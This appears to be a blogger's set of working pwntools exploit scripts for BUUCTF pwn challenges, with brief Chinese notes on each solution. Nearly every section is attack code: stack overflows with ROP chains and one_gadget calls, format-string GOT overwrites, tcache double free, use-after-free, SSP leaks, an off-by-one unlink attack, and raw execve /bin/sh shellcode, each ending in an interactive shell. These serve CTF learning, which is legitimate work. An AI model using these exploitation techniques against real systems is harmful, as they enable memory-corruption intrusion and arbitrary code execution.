from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25249
conn = remote(HOST ,PORT)
pause()
conn.recvuntil("Show me your magic!")
payload = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
conn.send(payload)
pause()
conn.interactive()
其实就是填满了前一个空间泄露下一个变量内容,但是愣是没反应过来…
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25339
conn = remote(HOST ,PORT)
pause()
conn.recvuntil("What is your name?\n")
conn.send("A"*0xff)
conn.recvuntil(",")
password_leak = conn.recvuntil("\n",drop=True)
conn.sendline(password_leak)
conn.interactive()
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27587
conn = remote(HOST ,PORT)
payload = "A"*0x118 + p64(0x00401157)
conn.sendline(payload)
conn.interactive()
感觉是不是放错了,和hitcontraining_bamboobox解题的代码一摸一样。按照它的题目应该是unlink攻击?但是free之后置零了,怎么绕过unlink呢?
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28953
conn = remote(HOST ,PORT)
pause()
jmp_esp = 0x08048504
sub_esp = 0x08048500
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
print len(shellcode)
conn.recvuntil("What's your name?")
payload = "A"*4+p32(jmp_esp) + shellcode
payload = payload.ljust(0x24,"\x00")
payload += p32(sub_esp)
conn.sendline(payload)
pause()
conn.interactive()
就是普通的格式化字符串漏洞
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27143
conn = remote(HOST ,PORT)
pause()
memset_got = 0x601038
'''第一步:泄露libc地址'''
conn.recvuntil("Please tell me:")
payload = "%83$p"
conn.sendline(payload)
conn.recvuntil("Repeater:")
libc_leak = conn.recvuntil("\n",drop=True)
libc_leak = int(libc_leak,16)
print "The libc leak is",hex(libc_leak)
libc = LibcSearcher("__libc_start_main",libc_leak-240)
libc_base = libc_leak - 240 - libc.dump("__libc_start_main")
print "The libc base is",hex(libc_base)
one_gadget = libc_base + 0xf1147
print "The one_gadget is",hex(one_gadget)
'''第二步:利用fmt修改memset的got表内容'''
target = one_gadget % 0x100000000
num1 = (target/0x10000) - 9
num2 = (0x10000 - num1) + (target % 0x10000) - 9
payload = "%"+str(num1)+"c%15$hn"
payload += "%"+str(num2)+"c%16$hn"
#payload = "%15$p"
payload = payload.ljust(0x38,"\x00")
payload += (p64(memset_got+2) + p64(memset_got))
conn.recvuntil("Please tell me:")
conn.sendline(payload)
pause()
conn.interactive()
还是fmt,干啥啥不行水题第一名…
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29330
conn = remote(HOST ,PORT)
pause()
printf_got = 0x804A010
payload = "%79$p"
conn.sendline(payload)
libc_leak = conn.recvuntil("\n",drop=True)
libc_leak = int(libc_leak,16)
print "The libc leak is",hex(libc_leak)
libc = LibcSearcher("__libc_start_main",libc_leak-247)
libc_base = libc_leak - 247 - libc.dump("__libc_start_main")
print "The libc base is",hex(libc_base)
one_gadget = libc_base + 0x3a819
print "The one_gadget is",hex(one_gadget)
target = one_gadget
num1 = (target/0x10000)
num2 = (0x10000 - num1) + (target % 0x10000)
payload = "%"+str(num1)+"c%21$hn"
payload += "%"+str(num2)+"c%22$hn"
#payload = "%15$p"
payload = payload.ljust(0x38,"\x00")
payload += (p32(printf_got+2) + p32(printf_got))
conn.sendline(payload)
conn.sendline("\x00"*0x80)
conn.interactive()
这个题目真的是让我大脑一晕,还是没有转过弯来,首先单纯看题目,可以知道通过构造unsorted bin
结合show函数可以泄露libc地址,然后就疯狂找溢出点,死活找不到,最后意识到一个问题。BUUCTF中的libc2.27是2.27-3ubuntu1_amd64
,这个版本的tcache是存在double free漏洞的…当时在ciscn_2019_final_3
的时候就专门记了一下,转头就忘记了…
但是知道以后还是很简单的,题目是好的题目!
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def add(name_size,name,call):
conn.recvuntil("choice:")
conn.sendline("1")
conn.recvuntil("Please input the size of compary's name")
conn.sendline(str(name_size))
conn.recvuntil("please input name:")
conn.send(name)
conn.recvuntil("please input compary call:")
conn.sendline(call)
def show(index):
conn.recvuntil("choice:")
conn.sendline("2")
conn.recvuntil("Please input the index:")
conn.sendline(str(index))
def call_func(index):
conn.recvuntil("choice:")
conn.sendline("3")
conn.recvuntil("Please input the index:")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25280
conn = remote(HOST ,PORT)
pause()
'''第一步:通过构造unsorted bin绕过tcache,并且配合show函数泄露libc地址'''
name = "Assassin"
call = "123"
add(0x410,name,call) #0
add(0x18,name,call) #1
add(0x18,"/bin/sh\x00",call) #2
call_func(0)
show(0)
conn.recvuntil("name:\n")
main_arena_leak = conn.recvuntil("\n",drop=True)
main_arena_leak = u64(main_arena_leak.ljust(8,"\x00"))
print "The leak is",hex(main_arena_leak)
libc = LibcSearcher("__malloc_hook",main_arena_leak-96-0x10)
libc_base = main_arena_leak - 96 - 0x10 - libc.dump("__malloc_hook")
print "The libc_base is ",hex(libc_base)
__free_hook = libc_base + libc.dump("__free_hook")
system = libc_base + libc.dump("system")
'''第二步:通过double free漏洞,利用tcache检查较弱的特点篡改__free_hook为system函数'''
call_func(1)
call_func(1)
add(0x18,p64(__free_hook),call) #3
add(0x18,p64(system),call) #4
call_func(2)
#pause()
conn.interactive()
简单的数组越界写,估计这辈子都不可能在比赛中看到这种题了…
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def name_cat(idx,name):
conn.recvuntil("Name for which?")
conn.sendline(str(idx))
conn.recvuntil("Give your name plz:")
conn.sendline(name)
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25515
conn = remote(HOST ,PORT)
pause()
shell = 0x80485CB
[name_cat(7,p32(shell)) for x in range(5)]
conn.interactive()
没什么好讲的,就是普通的栈溢出
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25108
conn = remote(HOST ,PORT)
pause()
main = 0x4007D6
puts_plt = 0x400640
puts_got = 0x601018
pop_rdi_ret = 0x400963
conn.recvuntil("Please tell me:")
payload = "If there is a chance,I won't make any mistake!\n"
payload = payload.ljust(0xd8,"\x00")
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
conn.sendline(payload)
conn.recvuntil("Wish you happy everyday!\n")
leak = conn.recvuntil("\n",drop=True)
leak = u64(leak.ljust(8,"\x00"))
print "The leak is ",hex(leak)
libc = LibcSearcher("puts",leak)
libc_base = leak - libc.dump("puts")
onegadget = libc_base + 0x4526a
conn.recvuntil("Please tell me:")
payload = "If there is a chance,I won't make any mistake!\n"
payload = payload.ljust(0xd8,"\x00")
payload += p64(onegadget) + p64(0)*20
conn.sendline(payload)
#pause()
conn.interactive()
说实话,我没有想到被这个题目卡了一天,其实这个题目就是非常经典的jmp rsp
的问题。我们需要关注到题目本身隐藏的条件
我卡住的问题,就是再栈溢出的时候一直在想怎么通过构造指令转移栈空间,再区想办法写入shellcode,而没有想到在溢出的部分直接用jmp esp
,就可以直接运行指令了…
还是思维太过于死板,中间还考虑了很复杂的写入方法,实属不应该!
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27656
conn = remote(HOST ,PORT)
pause()
mmap_area = 0x123800
read_use = 0x400A28
jmp_esp = 0x400A01
bss = 0x601200
shellcode = ""
shellcode += asm(shellcraft.open("./flag"))
shellcode += asm(shellcraft.read('rax',mmap_area,0x100))
shellcode += asm(shellcraft.write(1,mmap_area,0x100))
conn.recvuntil("Easy shellcode, have fun!")
payload = asm(shellcraft.read(0,mmap_area,0x100)) #在未溢出部分写入read函数
payload += asm('mov rax,0x123800')
payload += asm('call rax') #通过call rax转移至写入的位置,注意不能直接用jmp rax
payload = payload.ljust(0x28,"\x00")
payload += p64(jmp_esp)
payload += asm('sub rsp,0x30') #直接在jmp rsp后,写入汇编指令控制程序流
payload += asm('jmp rsp')
conn.sendline(payload)
pause()
conn.sendline(shellcode)
#pause()
conn.interactive()
很简单的栈溢出,因为是32位的可以为所欲为,在bss写入/bin/sh\x00
后调用system就行了,libc通过puts泄露got表就行了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def add(name_size,name,call):
conn.recvuntil("choice:")
conn.sendline("1")
conn.recvuntil("Please input the size of compary's name")
conn.sendline(str(name_size))
conn.recvuntil("please input name:")
conn.send(name)
conn.recvuntil("please input compary call:")
conn.sendline(call)
def show(index):
conn.recvuntil("choice:")
conn.sendline("2")
conn.recvuntil("Please input the index:")
conn.sendline(str(index))
def call_func(index):
conn.recvuntil("choice:")
conn.sendline("3")
conn.recvuntil("Please input the index:")
conn.sendline(str(index))
def name_cat(idx,name):
conn.recvuntil("Name for which?")
conn.sendline(str(idx))
conn.recvuntil("Give your name plz:")
conn.sendline(name)
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28962
conn = remote(HOST ,PORT)
pause()
puts_plt = 0x08048548
puts_got = 0x804A028
main = 0x80486F4
bss = 0x804A180
pop_ebp_ret = 0x080485f3
pop_ebx_ebp_Ret = 0x080485f2
scanf_plt = 0x08048538
conn.recvuntil(">> 6. Exit")
conn.sendline("5")
conn.recvuntil("Please input the name of fruit:")
payload = "A"*0xa8 + p32(puts_plt) + p32(main) + p32(puts_got)
conn.sendline(payload)
conn.recvuntil("...\n")
leak = conn.recv(4)
leak = u32(leak)
print "The leak is",hex(leak)
libc = LibcSearcher("puts",leak)
libc_base = leak - libc.dump("puts")
one_gadget = libc_base + 0x3a812
system = libc_base + libc.dump("system")
gets = libc_base + libc.dump("gets")
conn.recvuntil(">> 6. Exit")
conn.sendline("5")
conn.recvuntil("Please input the name of fruit:")
payload = "A"*0xa8 + p32(scanf_plt) + p32(pop_ebx_ebp_Ret) + p32(0x8048910) + p32(bss)
payload += p32(system) + p32(main) + p32(bss)
conn.sendline(payload)
pause()
conn.sendline("/bin/sh\x00")
pause()
conn.interactive()
这个题是非常好的,属于是SSP攻击,利用canary本身得___stack_chk_fail
函数,打印__env[0]
内容,这个是执行程序得第一个参数,一般情况情况是文件名,我们只要再栈空间上把这个也覆盖了,就可以泄露内存(很明显flag再内存中,并且位置再溢出输入点之上,不会被覆盖)
再说说这个题好久好在用了三次fork,保留了相同得栈空间,而这三次泄露就可以很好地利用了
目前实验得SSP攻击再libc2.23成功了,但是再libc2.27失败了,如果大佬知道为啥麻烦指点一下啊~
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25651
conn = remote(HOST ,PORT)
pause()
puts_got = 0x602020
conn.recvuntil("Please type your guessing flag")
payload = p64(0x4141414141414141)*36
payload = p64(0x4141414141414141)*37 + p64(puts_got)
conn.sendline(payload)
conn.recvuntil("*** stack smashing detected ***: ")
leak = conn.recv(6)
leak = u64(leak.ljust(8,"\x00"))
print "The leak is ",hex(leak)
libc = LibcSearcher("puts",leak)
libc_base = leak - libc.dump("puts")
environ = libc_base + libc.dump("environ")
conn.recvuntil("Please type your guessing flag")
payload = p64(0x4141414141414141)*37 + p64(environ)
conn.sendline(payload)
conn.recvuntil("*** stack smashing detected ***: ")
leak = conn.recv(6)
leak = u64(leak.ljust(8,"\x00"))
print "The leak is ",hex(leak)
flag_pos = leak - 0x168
conn.recvuntil("Please type your guessing flag")
payload = p64(0x4141414141414141)*37 + p64(flag_pos)
conn.sendline(payload)
conn.recvuntil("*** stack smashing detected ***: ")
pause()
conn.interactive()
这个题目就是简单得UAF,没有溢出点,但是再free之后没有把堆地址清零,导致再libc2.23中,可以构造堆结构泄露已经读人内存得flag
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create(size1,name1,size2,name2):
conn.recvuntil("> Now please tell me what you want to do :")
conn.sendline("1")
conn.recvuntil("ba's length :")
conn.sendline(str(size1))
conn.recvuntil("ba :")
conn.send(name1)
conn.recvuntil("na's length :")
conn.sendline(str(size2))
conn.recvuntil("na :")
conn.send(name2)
def delete(index):
conn.recvuntil("> Now please tell me what you want to do :")
conn.sendline("3")
conn.recvuntil("> Banana ID :")
conn.sendline(str(index))
def show(index):
conn.recvuntil("> Now please tell me what you want to do :")
conn.sendline("4")
conn.recvuntil("> Banana ID :")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28994
conn = remote(HOST ,PORT)
pause()
flag = 0x6020A8
create(0x20,"ready",0x20,"ready")
create(0x20,"ready",0x20,"ready")
create(0x20,"ready",0x20,"ready")
delete(0)
delete(1)
delete(2)
create(0x10,p64(flag),0x10,p64(flag))
show(0)
pause()
conn.interactive()
这个题目居然卡了一天,真的是狠狠的打醒了我这个题目算是基础题中比较综合得题目了。先分析一下题目
首先在banner
函数中有一个明显得格式化字符串漏洞
然后打脸点之一,需要细心去看get_input
函数,然后就会发现存在off-by-one漏洞,写入得时候可以多写一位(还是要细心呀!!!)
然后就是发现限制了申请堆块得大小,不能随意使用fastbin了
然后结合题目情况,我们构想如下思路
这里不得不说unlink得触发条件,是通过free过程中合并前后得空闲块调用得unlink函数,我之前就错误得以为malloc空闲块也会维护双向链表。但是实际上任何chunk在malloc时候都会先变成unsorted bin,就变成了unsorted bin attack
思路清楚了就很简单了,代码如下:
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def add_note(idx,size,content):
conn.recvuntil(">>")
conn.sendline("1")
conn.recvuntil("Enter the index you want to create (0-10):")
conn.sendline(str(idx))
conn.recvuntil("Enter a size:")
conn.sendline(str(size))
conn.recvuntil("Enter the content:")
conn.sendline(content)
def delete(index):
conn.recvuntil(">>")
conn.sendline("2")
conn.recvuntil("Enter an index:")
conn.sendline(str(index))
def edit_note(index,content):
conn.recvuntil(">>")
conn.sendline("4")
conn.recvuntil("Enter an index:")
conn.sendline(str(index))
conn.recvuntil("Enter the content:")
conn.sendline(content)
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26084
conn = remote(HOST ,PORT)
pause()
'''第一步:通过格式化字符串泄露libc和程序基地址'''
conn.recvuntil("Enter your name: ")
name = "%15$p,%14$p"
conn.sendline(name)
conn.recvuntil("Hello, ")
libc_leak = int(conn.recvuntil(",",drop=True),16)
stack_leak = int(conn.recvuntil("\n",drop=True),16)
print "The libc leak is",hex(libc_leak)
print "The stack leak is",hex(stack_leak)
code_base = stack_leak - 0x1200
libc = LibcSearcher("__libc_start_main",libc_leak-240 )
libc_base = libc_leak - 240 - libc.dump("__libc_start_main")
note = code_base + 0x202060
__free_hook = libc_base + libc.dump("__free_hook")
system = libc_base + libc.dump("system")
'''第二步:构造fake chunk,通过off-by-null配合unlink篡改全局变量s'''
add_note(0,0x98,"0")
add_note(1,0x98,"1")
add_note(2,0x98,"2")
add_note(3,0x98,"cat /flag\x00")
payload = p64(0) + p64(0x91) + p64(note-0x18) + p64(note-0x10) + p64(0)*14 + p64(0x90) + "\xa0"
edit_note(0,payload)
delete(1)
payload = p64(0)*3 + p64(__free_hook) + p64(0x100) #需要加上大小,否则会被input函数清零最后一位
edit_note(0,payload) #修改s[0]=__free_hook
edit_note(0,p64(system)) #修改[__free_hook] = system
delete(3)
#pause()
conn.interactive()